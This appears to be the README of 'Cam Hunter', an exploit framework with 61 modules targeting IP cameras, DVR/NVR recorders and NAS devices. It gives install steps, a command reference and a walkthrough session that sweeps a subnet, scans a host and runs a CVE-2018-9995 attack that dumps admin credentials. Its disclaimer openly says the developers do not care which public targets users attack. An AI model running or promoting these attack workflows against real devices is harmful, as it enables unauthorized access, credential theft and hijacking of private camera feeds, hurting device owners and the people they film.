Cam Hunter is an elite, modular, and asynchronous penetration testing framework engineered to identify, verify, and exploit critical vulnerabilities on video surveillance infrastructure (IP cameras, DVR/NVR/XVR recorders) and network storage ecosystems (NAS).
Equipped with 61 dynamically loaded modules, it acts as a comprehensive, localized threat-assessment suite featuring both an interactive CLI console and a hardware-accelerated dark theme desktop application.

The repository follows a clean, decoupled structure where scripts are automatically mapped by the core loader engine without hardcoded structural dependencies.
dvr-exploit-framework/
β
βββ core/
β βββ __init__.py
β βββ base.py # Abstract parent object for module standardization
β βββ loader.py # Recursive dynamic python script mapper engine
β
βββ modules/ # Massive 61-modules exploit dictionary sorted by OEM/Vendor
β βββ amcrest/ βββ dlink/ βββ lorex/ βββ synology/
β βββ axis/ βββ foscam/ βββ netgear/ βββ trendnet/
β βββ bosch/ βββ grandstream/ βββ panasonic/ βββ tplink/
β βββ brickcom/ βββ hikvision/ βββ recon/ βββ uniview/
β βββ cve_2018_9995_gen/ βββ linksys/ βββ reolink/ βββ xiongmai/
β βββ lsc/ βββ samsung/ βββ vivotek/
β
βββ reports/ # Central reporting engine outputs
β βββ dashboard.html # Interactive web dashboard with metrics telemetry
β βββ vulnerabilities.txt # Centralized structural text logging ledger
β
βββ main.py # Core CLI console shell (TAB history, shortcuts, loops)
βββ gui_main.py # PySide6 Cyberpunk Dark Theme Graphical Application Interface
βββ Makefile # Automation workflow task short-bindings
βββ docker-compose.yml # Multi-layer orchestration file
βββ Dockerfile # Isolated sandbox build configuration
βββ requirements.txt # Host python environment package index
Ensure you are using Python 3.10 or superior. Isolating the repository setup within a dedicated Python virtual environment is highly recommended:
# Clone the repository
git clone https://github.com
cd cam-hunter
# Setup the virtual environment and install packages via the Makefile utility
make install
# Scenario A: Fire up the interactive Power-User CLI shell
make run
# Scenario B: Launch the PySide6 Cyberpunk Graphical Interface
make guiNote: Windows users can activate support for input line-tracking and history memory blocks by running pip install pyreadline3 manually inside the active workspace environment.
To audit target machines safely inside an isolated system sandbox while preserving your operational HTML logs files on your host terminal computer:
# Build the operational container image layers
docker-compose build
# Spin up the framework console in full interactive TTY mode
docker-compose run cam-hunterCam Hunter includes advanced Power-User Shortcuts, Smart Auto-Completion via the [TAB] key, and Real-Time Dynamic Filtering inside the graphical application view.
| Explicit Input Command | Power Shortcut / Alias | Context Scope & Behavioral Guidelines |
|---|---|---|
help |
h |
Renders the complete, localized advanced shortcuts reference panel. |
show modules |
lm |
[List Modules] Enumerate all 61 dynamically loaded audit assets. |
show options |
lo / options |
[List Options] Review mandatory context parameters for the loaded module. |
search <keyword> |
None | Filter the internal modules registry instantly by vendor brand name or CVE ID. |
use <module_path> |
None | Initialize a target script vector (Supports predictive TAB-completion paths). |
set <KEY>=<value> |
None | Bind data values to variables (Accepts spaces, words, or standard operational = format). |
run / exploit |
x |
[Execute] Fire the active module's asynchronous network payload loops. |
vulnscan <IP> |
vs <IP> |
[Global Scan] Consecutively cycle ALL scanner scripts against a target host IP. |
back |
None | Unload active context layers and return to the generic root framework prompt level. |
exit |
None | Terminate runtime safely and write shell inputs persistently into .cam_hunter_history. |
Find active video surveillance systems on your target local network segment in under 3 seconds using the fast asynchronous TCP thread scanner:
cam-hunter(none) > use recon/subnet_tcp_sweeper
cam-hunter(recon/subnet_tcp_sweeper) > set SUBNET 192.168.1.0/24
cam-hunter(recon/subnet_tcp_sweeper) > x
...
[+] Discovery phase completed! Live surveillance assets found:
192.168.1.45 | 81 | Alternative Web/DVR Management (e.g., CVE-2018-9995)
...
cam-hunter(recon/subnet_tcp_sweeper) > back
Pass the discovered host target to the global pipeline scan to analyze its exposure profile against the entire exploit dictionary:
cam-hunter(none) > vs 192.168.1.45
[!] TRIGGERING GLOBAL AUTOMATED VULNERABILITY CYCLES AGAINST 192.168.1.45 [!]
---------------------------------------------------------
[*] Running verification script: cve_2018_9995_generic/device_rsp_scan...
[VULNERABLE] -> Target is VULNERABLE to CVE-2018-9995. Leaked 2 user records.
...
[+] GLOBAL CYCLES TERMINATED. Total vulnerabilities flagged: 1
Instantly fire the attack module payload to dump raw user passwords, update database logs, and auto-refresh the visual reporting matrix:
cam-hunter(none) > use cve_2018_9995_generic/device_rsp_attack
cam-hunter(cve_2018_9995_generic/device_rsp_attack) > set TARGET=192.168.1.45
cam-hunter(cve_2018_9995_generic/device_rsp_attack) > set PORT 81
cam-hunter(cve_2018_9995_generic/device_rsp_attack) > x
[*] Executing automated offensive loops cve_2018_9995_generic/device_rsp_attack tracking host 192.168.1.45...
[Execution payload returned result] {'success': True, 'details': 'Credentials dumped successfully!\n -> User: admin | Pass: supervisor123 (RoleID: 1)'}
[+] Finding logged. HTML Dashboard refreshed inside 'reports/dashboard.html'
cam-hunter(cve_2018_9995_generic/device_rsp_attack) > exit
Open your local browser to reports/dashboard.html to review your live operational metrics metrics pane.
For operators who prefer a visual orchestration terminal over the standard CLI shell, Cam Hunter embeds a hardware-accelerated Cyberpunk Dark Theme Desktop Application powered by PySide6 (Qt for Python).
The GUI ties directly into the core asynchronous routing engine without modifying any of the 61 underlying testing scripts.
- Non-Blocking Runtime Threading (
QThreads): Long-running network tasks, scans, and asynchronous exploit loops run safely in the background. The window layout never freezes or crashes during active network queries. - Real-Time Dynamic Module Filtering: Includes an integrated, instant search bar at the top of the sidebar. Typing keywords (e.g.,
dahua,cve,scan) dynamically updates the list widget in real time to isolate target vectors instantly. - Fluid Input Matrix Generation: Selecting any module from the repository auto-generates the target options data table dynamically based on that specific script's internal variable needs (
TARGET,PORT,CMD).
Ensure you have installed the desktop framework components (pip install PySide6), then run the shortcut trigger directly via your terminal terminal workspace:
make guiββββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β π― REPOSITORY MODULES β π ACTIVE PAYLOAD: axis/cve_2023_21406β
ββββββββββββββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββββββββββ€
β π Search module (e.g., dahua)... β [Variable Key] [Configured Value] β
ββββββββββββββββββββββββββββββββββββββββ€ TARGET 192.168.1.50 β
β π axis/ β PORT 80 β
β βββ cve_2023_21406_attack β β
β βββ cve_2023_21406_scan ββββββββββββββββββββββββββββββββββββββββββ€
β π bosch/ β π FIRE OFFENSIVE EXPLOIT LOOP β
β π dahua/ ββββββββββββββββββββββββββββββββββββββββββ€
β ... [61 modules indexed] β π LIVE SYSTEM OPERATIONAL LOGS β
β β [+] Loaded workspace parameters... β
β β [*] Connection loop initialized... β
ββββββββββββββββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββββββββββββ
LISTEN UP: This framework is provided strictly for educational research, defensive threat modeling, and authorized penetration testing operations against owned hardware assets.
The developers do not give a single damn about what you use this tool for, how you use it, or what public targets you fire it at.
If you decide to do stupid things, break networks you do not own, hijack private camera video feeds, or violate international data privacy laws, that is entirely on you. You are an adult responsible for your own actions. The author completely disclaims all legal liability for malicious behavior, legal prosecution, network damage, or data loss caused by misuse of this software. Use it responsibly or face the consequences on your own.
Copyright (c) 2026 Cam Hunter Developers
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.